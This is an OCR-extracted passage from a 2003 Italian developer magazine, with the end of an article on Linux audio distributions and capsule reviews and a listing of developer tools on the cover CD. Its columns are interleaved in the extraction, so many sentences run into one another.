si, che permettano sovraincisioni e piccoli Macintosh della Apple. Ambo le piattaforme vista del pragmatico programmatore, "quan-
ritocchi di base. Quando si hanno sufficienti contano su una nutrita schiera di software do il gioco si fa duro..."). Sin da ora, benché il
provini di senso compiuto da poter realizzare dedicati all'elaborazione dei segnali audio, progetto non abbia ancora completamente
un intero album, possiamo entrare ufficial- più o meno tutti di natura strettamente com- raggiunto i propri scopi, è possibile scaricare
mente nel nostro amatoriale studio di regi- merciale. Orientandosi sulle macchine di tra- parecchi materiali, comodamente in down-
strazione. Lo studio è composto da numerose dizione UNIX, come Linux, possiamo invece load all'interno del sito segnalato. Concludo
attrezzature per la registrazione: mixer, far valere maggiormente le nostre competen- con una segnalazione inerente al tema. Se
amplificatori, effetti, microfoni a condensato- ze di programmatori. AGNULA, acronimo di state guardando con interesse alla piattafor-
re e così via. Ciononostante, tutto orbita intor- "A GNU/Linux Audio Distribution", è il ma Linux per la vostra produzione musicale,
no ad un comune PC (neanche troppo moder- nome di un progetto tutto europeo, che coin- ma non sapete proprio da dove cominciare,
no), che di particolare ha solo una buona volge diversi autori nostrani (la coordinazio- HOPS Libri distribuisce un pratico volume
scheda audio, pensata proprio per l'home ne dei lavori è affidata al Centro Tempo Reale introduttivo. Il titolo è "Linux: musica &
recording. Tutte le tracce registrate conflui- di Firenze, [Link] suoni", il codice ISBN 88-8378-020-5. Il volu-
scono digitalmente nel disco rigido della Scopo finale dell'attività è realizzare due me presenta ed illustra i principali software
macchina, dove vengono ritoccate, ulterior- distribuzioni Linux, una derivata da Debian, Linux dedicati alla produzione audio. Lo tro-
mente effettate e mixate. Una volta completa- l'altra da Red Hat, dedicate completamente vate nelle librerie specializzate, oppure pote-
to un buon set di brani che costituiscono un alle applicazioni multimediali per l'audio, sia te ordinarlo via Web, partendo dall'indirizzo
corpus unico, non resta che equalizzare i per un target professionale sia per gli hobbi- [Link]
risultati, aggiustare i volumi e riversare su sti. Come è lecito aspettarsi, l'intero progetto 020-5.
CD l'opera completa. Così nascono i nostri non tradisce i dettami della filosofia GNU (il Carlo Pelliccia
128 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 4-06-2003 10:50 Pagina 129
G G G G G G G G L ’ A L T R O S O F T W A R E S U L C D
Aqua Data Studio 3.0.3 ca e sostituzione ed è possibile effettuare il con- santi le funzioni di analisi per il transito di pac-
Un potente tool per amministratori di databa- fronto fra porzioni di file, calcolare il checksum chetti IP, e per il controllo dell’attività su SQL
se che consente di editare ed eseguire script ed altro ancora. Molto curata la sezione visuale Server. Versione di prova valida quindici gior-
SQL oltre che consentire una agevole naviga- dell’applicazione che consente di controllare e ni.
zione nelle strutture dei più complessi databa- modificare i dati nel maniera più intuitiva. Gra- [Link]
se. Aqua Data Studio mette a disposizione de- zie a questa rappresentazione la gestione di file
gli utenti un potente ambiente di sviluppo in- esadecimali si presenta molto più semplice e ve- Liatro Binary Explorer 1.0
tegrato che può fare da interfaccia a tutti i prin- loce. Versione trial valida 35 giorni. Un tool di livello professionale attraverso cui
cipali database presenti sul mercato, consen- [Link] ispezionare dati in esadecimali all’interno di
tendo l’esecuzione di più operazioni simulta- una struttura ad albero che ne semplifica note-
neamente su più database e attraverso un am- REAL basic for Windows 5.1 volmente la comprensione. Sono supportati
biente coerente e ben strutturato. Degno di Un ambiente di programmazione che rende di- numerosi formati per file multimediali. Versio-
menzione risulta essere il Query Analyzer che sponibile, anche ai meno esperti, la possibilità ne di prova valida trenta giorni.
mette a disposizione un editor con un syntax di sviluppare applicazioni in pochissimo tem- [Link]
highlighting studiato specificamente per gli po, grazie anche alla ricca documentazione, ai
RDBMS e con avanzate funzioni di auto-com- numerosi tutorial e agli esempi inclusi. Oltre ad JProfiler 2.2
pletamento che velocizzano notevolmente il offrire la possibilità di importare codice e form Un sistema semplice ed efficace per testare le
lavoro degli sviluppatori. La possibilità di ana- da Visual Basic, REAL basic consente di compi- prestazioni di applicazioni Java, sia J2SE sia
lizzare per via grafica la struttura dei Database lare le applicazioni sviluppate, oltre che per J2EE. Le indagini alla ricerca dei colli di botti-
consente una più semplice interpretazione dei Windows, anche per Mac OS 8, Mac OS 9 e Mac glia coinvolgono più campi: utilizzo della
dati e delle correlazioni. Aqua Data Studio può OS X. Versione dimostrativa valida trenta gior- CPU, occupazione della memoria e distribu-
salvare i risultati delle query in numerosi for- ni. Al primo avvio è necessario cliccare su “Get zione del carico fra i thread. Versione di valu-
mati, compresi HTML e XML. Versione di va- a demo Key” per ottenere una chiave valida. tazione valida dieci giorni.
lutazione valida novanta giorni. [Link] jprofiler_windows_2_2_1.exe
[Link]
Edit Ease Pro 4.0a DreamMaker 1.1
GNU Compiler Collection 3.3 Un utile pacchetto di manipolazione del testo Utilizzando il vocabolario inglese per le istru-
C, C++, Objective-C, Ada, Fortran, e Java: que- che consente di convertire documenti da qual- zioni e la stessa grammatica inglese per la pun-
sti sono i linguaggi supportati in questa colle- siasi formato in formato ASCII testuale. L’edi- teggiatura e la sintassi, questo simpatico (e
zione. Particolarmente curata la sezione Java: i tor incluso è ricco di funzionalità e può essere gratuito) ambiente di programmazione sem-
packages [Link] e [Link] implementano ora un’ottima scelta per gli sviluppatori. Versione bra realizzare un vecchio sogno: avere un com-
le API JDBC 3.0, sono state implementate le as- di prova, risulta disabilitata la funzione di sal- puter che capisca il linguaggio umano. Un ap-
sertion, e l’interprete di bytecode è stato reso vataggio. proccio originale alla programmazione.
più veloce. Sempre ottima e copiosa la docu- eep_demo_4x.exe [Link]
mentazione allegata.
[Link] BulletProof Astrum InstallWizard 1.94
JDesignerPro 5.0 Astrum InstallWizard è un versatile software
3D GameStudio / A6 6.0 Con il supporto per i JavaBean, JDesignerPro si per la creazione di pacchetti di installazione.
Giù utilizzato per lo sviluppo di oltre trecento presenta come un potente strumento per la Semplice da utilizzare, grazie all’interfaccia ri-
giochi commerciali, 3D GameStudio è un otti- crazione di applicazioni intranet e Internet che solta completamente in un wizard, non rinun-
mo ambiente per la realizzazione di applica- facciano massiccio uso dell’accesso a database. cia alla completezza comprendendo il suppor-
zioni real time in due e tre dimensioni. L’editor Versione di prova limitata a 90 giorni. to per file JPEG ed MP3. È possibile utilizzare
visuale per modelli e mappe si affianca ad un Jdp5_0.exe variabili utente, dividere i file di installazione
editor compatibile C-Script e ad una nutrita li- su più dischi e interagire in vario modo con il
breria di oggetti tridimensionali e giochi pron- XpoLog 2.0 registro di Windows. Semplice ed altamente
ti ad essere riutilizzati. Versione di valutazione Un potente sistema per l’analisi e la manipola- personalizzabile.
valida trenta giorni. zione di qualsiasi file di log e di qualsiasi file di [Link]
[Link] configurazione. Le viste ed i filtri disponibili
consentono un approfondito debug, anche in re- XML Marker 1.0
Hex Workshop Hex moto, grazie alla possibilità di esportare automa- Veloce e semplice da utilizzare, XML Marker
Editor 4.1 ticamente i file, comprimendoli e inviandoli via ha dalla sua alcune interessanti caratteristiche
Un tool per l’elaborazione di file in esadecimale e-mail. Versione di prova valida trenta giorni. come: il sintax highlighting e la possibilità di
che combina le capacità di un avanzato editor [Link] visualizzare i documenti sia in formato tabula-
binario con la semplicità di un Word Processor. re che secondo la classica vista ad albero. L’e-
Hex Workshop consente di editare, tagliare, co- NetworkSmart Developer ditor di testo integrato è molto comodo e, gra-
piare, incollare, inserire e cancellare porzioni di 2003 zie a numerosi wizard, si raggiungono buoni
file in esadecimale e permette inoltre una facile Un add in per Visual Studio .NET che permet- risultati con relativa semplicità. Versione di va-
pubblicazione del codice, sia in RTF che in te di monitorare ed effettuare il debug delle ap- lutazione valida trenta giorni.
HTML. Sono disponibili funzioni di goto, ricer- plicazioni in Real time. Particolarmente interes- xmlmarker_1_setup.exe
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 129
015-025 soft 4-06-2003 10:50 Pagina 130
E L E N C O S O F T W A R E S U I C D G G G G G G G G G G G
Elenco
Software sul CD
Microsoft .Net Fra- Hex Workshop Hex JProfiler 2.2 zione in più lingue.
mework 1.1 SDK Editor 4.1 Scopri i colli dibottiglia di ap- [Link]
Indispensabile per sviluppare con Un editor esadicimale semplice e plicazioni J2SE e J2EE.
.NET. ricco di funzionalità. jprofiler_windows_2_2_1.exe DevHQ License
SECONDO CD: [Link] Manager 1.0
\DOT_NET_FRAMEWORK DreamMaker 1.1 Un sistema centralizzato per la
ERCreator Database Scrivi in inglese comune il tuo gestione delle licenze.
Eclipse 2.1 Edition demo 2.0 programma! [Link]
Open Source: la più completa piat- Crea nuovi database e nuovi script. [Link]
taforma di sviluppo per Java. [Link] Ariacom Business
eclipse-sourceBuild-srcInclu- Astrum Reports 2.1
[Link] Edit Ease Pro 4.0a InstallWizard 1.94 Un sistema di report gratuito.
Converte i documenti in formato Per creare file di installazione. [Link]
MySQL-Front ASCII. [Link]
L’interfaccia ideale per MySQL. eep_demo_4x.exe Maguma Studio
MySQL-Front_2.5_Setup.exe REAL basic for for PHP 1.0.7p2
BulletProof Windows 5.1 Per creare e gestire siti PHP ad
Microsoft Web Ma- JDesignerPro 5.0 Crea e compila applicazioni alte prestazioni.
trix Per creare applicazioni Java orien- per Windows e Mac. maguma_studio-1.0.7p2-
Per sviluppare applicazioni .NET. tate al database. [Link] [Link]
[Link] Jdp5_0.exe
XML Marker 1.0 Aqua Data Studio
SQL Server 2000 XpoLog 2.0 Un agile editor XML. 3.0.3
Desktop Engine Per analizzare log e file di configu- xmlmarker_1_setup.exe Un potente IDE per creare ed
(MSDE) razione Web. eseguire script SQL.
L'aggiornamento più recente e [Link] SheerPower 4GL Ba- [Link]
completo a SQL Server 2000. sic 3.4 build 18
SECONDO CD: \MSDE NetworkSmart Crea applicazioni per Win- GNU Compiler
Developer 2003 dows in un batter d’occhio! Collection 3.3
Open Office 1.0.2 Per il controllo e il debug delle ap- sp_install.exe Pronta la nuova release.
Prova il brivido di personalizzare il plicazioni .NET. [Link]
tuo office. [Link] RenderX XEP 3.4
SECONDO CD: \OPEN_OFFICE Per connvertire documenti 3D GameStudio
Liatro Binary XML in PDF. / A6 6.0
ColdFusion MX Explorer 1.0 xep34_trial.zip Un ambiente per costruire gio-
Updater 3 Per ispezionare la struttura di chi in due e tre dimensioni.
Aggiorna il tuo Coldfusion. file in esadecimale. InstallConstruct 5.6 [Link]
COLDFUSION_UPDATER [Link] Per creare file autoinstallanti
con facilità. Speciale
Patch Maker 1.2 ColdFusion MX [Link] Database
Crea le patch di aggiornamento L’ambiente ideale per creare appli- Una selezione dei migliori
per le tue applicazioni. cazioni Web. Tarma Installer 2.53 RDBMS gratuiti.
[Link] [Link] Per avere pacchetti di installa- SECONDO CD: \SpecialeDB
130 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t